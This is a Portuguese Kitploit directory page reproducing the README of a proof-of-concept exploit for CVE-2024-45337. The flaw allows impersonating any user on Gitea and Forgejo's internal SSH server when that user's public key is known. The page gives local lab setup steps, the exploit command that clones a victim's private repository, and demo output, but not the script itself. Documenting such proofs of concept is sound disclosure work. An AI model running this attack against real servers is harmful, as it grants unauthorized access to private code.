Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-45337 — Prova de Conceito para CVE-2024-45337 contra Gitea e Forgejo | Kitploit
Ferramentas/GitHubGitHub/peace-maker/cve-2024-45337
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticação
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Prova de Conceito para CVE-2024-45337 contra Gitea e Forgejo

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit de prova de conceito para CVE-2024-45337

Este repositório contém um exploit de prova de conceito para CVE-2024-45337. Ele pode ser usado para envolver o ssh ao interagir com um servidor SSH implementado usando golang.org/x/crypto <= v0.30.0, ao armazenar em cache permissões no callback ServerConfig.PublicKeyCallback de maneira insegura.

Gitea <= 1.22.4 e Forgejo <= 7.0.11, 9.0.2 são vulneráveis quando hospedados usando o servidor SSH interno. Você pode se passar por qualquer usuário, desde que conheça qualquer uma das chaves públicas que ele tenha associado à conta dele. Você precisa ter uma conta própria, que use para autenticação ssh.

Executar o PoC

  1. Inicie uma instância vulnerável do forgejo ou gitea. As imagens Docker do Gitea não são vulneráveis, então você terá que executar usando um binário nativo.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Instale alterando a porta SSH para 22 em http://localhost:3000
  2. Registre um usuário victim
    1. Adicione a chave pública da vítima à conta em http://localhost:3000/user/settings/keys
    2. Crie um repositório privado chamado important_repo e gere um commit inicial com um README para que você tenha algo para clonar
  3. Registre um usuário attacker
    1. Adicione a chave pública do atacante à conta em http://localhost:3000/user/settings/keys
  4. Clone o repositório usando a conta do atacante
    1. Defina GIT_ATTACK_PRIVKEY como o caminho para a chave privada de uma conta válida
    2. Defina GIT_ATTACK_PUBKEY como o caminho para a chave pública conhecida de outra conta alvo. Não sabemos a chave privada dessa conta.
    3. Defina GIT_SSH como o caminho para o script de exploração, para que o git use isso em vez do comando ssh nativo
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Demonstração

Use .ssh/config para especificar chaves durante a clonagem

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Execute contra o contêiner local do Forgejo 7.0.11 configurado como acima.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Baixar ferramenta